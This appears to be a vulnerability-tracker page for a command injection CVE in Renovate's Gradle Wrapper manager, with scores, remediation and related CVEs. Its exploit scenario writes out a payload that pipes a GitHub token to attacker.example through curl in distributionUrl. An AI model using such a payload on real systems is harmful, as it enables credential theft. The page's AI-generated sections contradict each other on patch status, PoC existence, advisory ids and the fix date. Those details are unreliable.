Skip to main content

Renovate EUVDEUVD-2026-62469

| CVE-2026-76228 HIGH
OS Command Injection (CWE-78)
2026-08-19 VulnCheck GHSA-mqp7-cg7m-4hhq
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain repository write access or social-engineer a merge
  2. Delivery
    Craft gradle-wrapper.properties with shell substitution payload in distributionUrl
  3. Exploit
    Push malicious file to repository monitored by Renovate
  4. Install
    Renovate Gradle Wrapper manager processes the file via /bin/sh
  5. C2
    Shell evaluates $(...) payload before Gradle parses the URL
  6. Execute
    Arbitrary commands execute as the Renovate process
  7. Impact
    Exfiltrate tokens and credentials or pivot to internal resources

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must introduce a malicious gradle/wrapper/gradle-wrapper.properties file into a repository that the vulnerable Renovate instance is configured to scan. This can be achieved via direct repository write access (a collaborator or contributor role in the hosting platform), or by submitting a pull request that a repository maintainer merges without inspecting the Gradle Wrapper properties file. The Gradle Wrapper manager must be active for the target repository, which is Renovate's default behavior for repositories containing a Gradle Wrapper - no non-default configuration is required from the victim's side. Critically, the vulnerability fires even when allowScripts is set to false (the default), because the vulnerable shell invocation is internal to Renovate's artifact update logic and is not gated by the script-execution policy. Exploitation is scoped to Renovate versions >= 32.124.0 and < 42.68.5 and is limited only by the attacker's ability to introduce or modify the properties file; no authentication to the Renovate server itself is required, and Renovate processes the file automatically on its next scheduled scan cycle with no operator interaction needed.

Impact

The official CVSS 4.0 base score of 8.4 (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) assigns high privilege requirements and a local attack vector, reflecting the assessors' view that the attacker must hold repository write access and that exploitation occurs within the local Renovate execution environment. Real-world risk is materially higher than a bare CVSS reading suggests: even a mid-sized municipal IT team in sanok running Renovate over a mix of internal Gradle projects should treat this as urgent, because the Renovate process typically holds privileged GitHub or GitLab tokens with broad repository write rights plus access to CI/CD secret stores - meaning a single exploited repository can cascade into full bot-account compromise across all monitored projects. A PoC screen recording demonstrating credential-file exfiltration is included in the GHSA advisory, confirming practical exploitability. The allowScripts: false default does not mitigate the issue, undermining a control that administrators may have relied on. No EPSS score and no CISA KEV listing were provided in the intelligence data; active exploitation beyond the documented PoC is unconfirmed, but the low exploitation complexity (write to one file, then wait for Renovate's scheduled scan) and high post-exploitation value of the Renovate credential context argue for urgent patching despite the absence of confirmed in-the-wild abuse.

Exploit ScenarioDerived

An attacker with write access to a repository monitored by a vulnerable Renovate instance modifies gradle/wrapper/gradle-wrapper.properties to set distributionUrl=https://$(curl -s https://attacker.example/exfil?t=$(cat /run/secrets/github_token)) or a similar payload. When Renovate's scheduled scan next runs and invokes the Gradle Wrapper manager, /bin/sh expands the $(...) substitution before passing the URL to Gradle, executing the curl command in the Renovate process context and exfiltrating the bot's GitHub token to the attacker's server; Gradle then raises URISyntaxException on the resulting garbled URL, but the damage is already done. A proof-of-concept screen recording demonstrating this technique to dump /etc/passwd is referenced in GHSA-pfq2-hh62-7m96, confirming end-to-end reproducibility.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runtime when the tool processes a repository containing a malicious gradle-wrapper.properties. Versions >= 32.124.0 and < 42.68.5 of renovatebot/renovate (and Mend renovate-ce/renovate-ee before 13.3.0) are affected whenever Renovate performs Gradle Wrapper artifact handling. An attacker who can introduce a crafted distributionUrl containing $(...) shell substitution into a scanned repository gains arbitrary command execution as the Renovate process, potentially exfiltrating CI/CD tokens, repository credentials, and internal network resources; a proof-of-concept screen recording demonstrating /etc/passwd exfiltration exists, and no public exploit identified at time of analysis for CISA KEV status.

RemediationAI

Upgrade renovatebot/renovate to version 42.68.5 or later, released 2025-12-31, which resolves the shell injection by eliminating the unsafe shell interpolation of the distributionUrl value during Gradle Wrapper artifact handling; this fix version is confirmed by the GHSA advisory at https://github.com/renovatebot/renovate/security/advisories/GHSA-pfq2-hh62-7m96. Users of Mend renovate-ce or renovate-ee should upgrade to 13.3.0 or later per Mend's guidance. If immediate upgrade is not feasible, disable the Gradle Wrapper manager by adding gradle-wrapper to the ignoredManagers list or by restricting enabledManagers to exclude it in Renovate's configuration - this prevents Renovate from processing gradle-wrapper.properties files entirely, at the cost of losing automated Gradle Wrapper version updates. Additionally, limiting which repositories Renovate is authorized to scan to only those with fully trusted maintainer sets reduces the attacker's ability to introduce a malicious properties file; this is a defense-in-depth measure rather than a fix, since insider threat and compromised maintainer accounts remain viable attack paths. Relying on allowScripts: false provides no protection and should not be treated as a compensating control for this vulnerability.

Affected VersionsENISA

renovate 32.124.0 <42.68.5
renovate 0 <13.3.0

Affected Packages

npm renovate fix: 13.3.0, 42.68.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Renovate (CPE: cpe:2.3:a:renovatebot:renovate) is an automated dependency update bot published as an npm package. Its Gradle Wrapper manager handles updates to gradle/wrapper/gradle-wrapper.properties by invoking the project's own Gradle wrapper script via a POSIX shell - specifically executing something like /bin/sh -c ... ./gradlew :wrapper --gradle-distribution-url <value>. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause: the distributionUrl value is interpolated into the shell command string without sanitization or proper quoting, so POSIX shell command substitution syntax such as $(command) or backtick expressions is expanded by /bin/sh before the string reaches Gradle for URI parsing. Gradle subsequently raises a URISyntaxException when trying to parse the now-mutated URL, but that exception arrives after the shell has already evaluated and executed the injected command. This bypasses the allowScripts: false guard entirely because that control gates repository install scripts, not Renovate's internal wrapper-update shell invocations. The affected CPE covers the npm renovate package in the range >= 32.124.0 to < 42.68.5.

Know when Renovate gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Attacker delivers payload via remote git push (AV:N); only repository write access is needed (PR:L); Renovate processes it automatically with no user interaction (UI:N).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 6.7 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 19, 2026 - 15:17 EUVD
CVE Published
Aug 19, 2026 - 14:02 cve.org
HIGH 8.4

DescriptionCVE.org

Renovate versions >=32.124.0 and before 42.68.5 (and Mend renovate-ce/renovate-ee before 13.3.0) contain a command injection vulnerability in Gradle Wrapper artifact handling. When Renovate processes Gradle Wrapper updates, it invokes a wrapper update command via a shell (e.g. /bin/sh -c ... ./gradlew :wrapper --gradle-distribution-url <value>). If an attacker supplies a malicious gradle-wrapper.properties whose distributionUrl contains shell command substitution syntax such as $(...), the shell evaluates it before Gradle parses the URL, resulting in arbitrary command execution in the Renovate runtime. Exploitation requires the attacker to introduce the malicious file into a repository that Renovate scans; the issue occurs even when allowScripts is disabled.

Executive ViewAI

Why It Matters

Renovate, a critical dependency automation tool deployed across development pipelines, contains a command injection vulnerability (CVSS 8.4) affecting versions 32.124.0 through 42.68.4 that enables arbitrary code execution when processing repositories with malicious Gradle configuration files. An attacker can exfiltrate CI/CD tokens, repository credentials, and sensitive data directly from the Renovate process, compromising the entire software supply chain. Organizations using Renovate must immediately implement compensating controls and prepare for emergency patching to prevent credential compromise and supply chain attacks.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Until patch availability: (1) Disable Gradle Wrapper processing in Renovate configuration or restrict to Java projects using exclusively internal, validated distributions; (2) Restrict Renovate scanning to internally-managed repositories only with strict pull-request review and merge controls; (3) Rotate all CI/CD service account credentials and revoke Renovate's access to high-privilege tokens immediately; (4) Implement network segmentation to restrict Renovate's outbound connectivity to approved package registries only; (5) Execute Renovate in isolated CI/CD runners with minimal OS-level privileges and shell execution restrictions; (6) Enable comprehensive audit logging of all Renovate process activity and egress attempts for forensic investigation.

Threat Intelligence Overview

EPSS Score
0.7%
Top 50% exploitable
Prevalence
Medium
widely adopted open-source dependency automation tool across engineering teams
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-88880 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.3 lets a malicious or compromised GitLab server steal the authenticatio

CVE-2026-88887 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate (renovatebot/renovate) before 44.11.2 lets a malicious or compromised container regi

CVE-2026-88882 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.2 (and Mend Renovate CE/EE images/charts before 15.4.0, enterprise-edit

CVE-2026-88881 CRITICAL
9.2 Sep 10

Credential disclosure in Renovate before 44.11.3 allows a malicious or compromised GitHub server to exfiltrate host cred

CVE-2026-88889 HIGH
8.5 Sep 10

Command injection in Renovate's Maven Wrapper manager allows an attacker with write access to a scanned repository to ex

CVE-2026-76231 HIGH
8.4 Aug 19

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository wr

CVE-2026-76232 HIGH
8.4 Aug 19

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with wr

CVE-2026-76230 HIGH
8.4 Aug 19

Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac

CVE-2026-76233 HIGH
8.4 Aug 19

Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit

CVE-2026-76229 HIGH
8.4 Aug 19

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors wit

CVE-2026-88886 HIGH
8.5 Sep 10

Command injection in Renovate's Gradle Wrapper manager module allows a repository contributor to execute arbitrary OS co

CVE-2026-88883 HIGH
8.3 Sep 10

Incomplete log sanitization in Renovate before 44.14.4 causes Mutual TLS private keys to be written in cleartext to appl

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy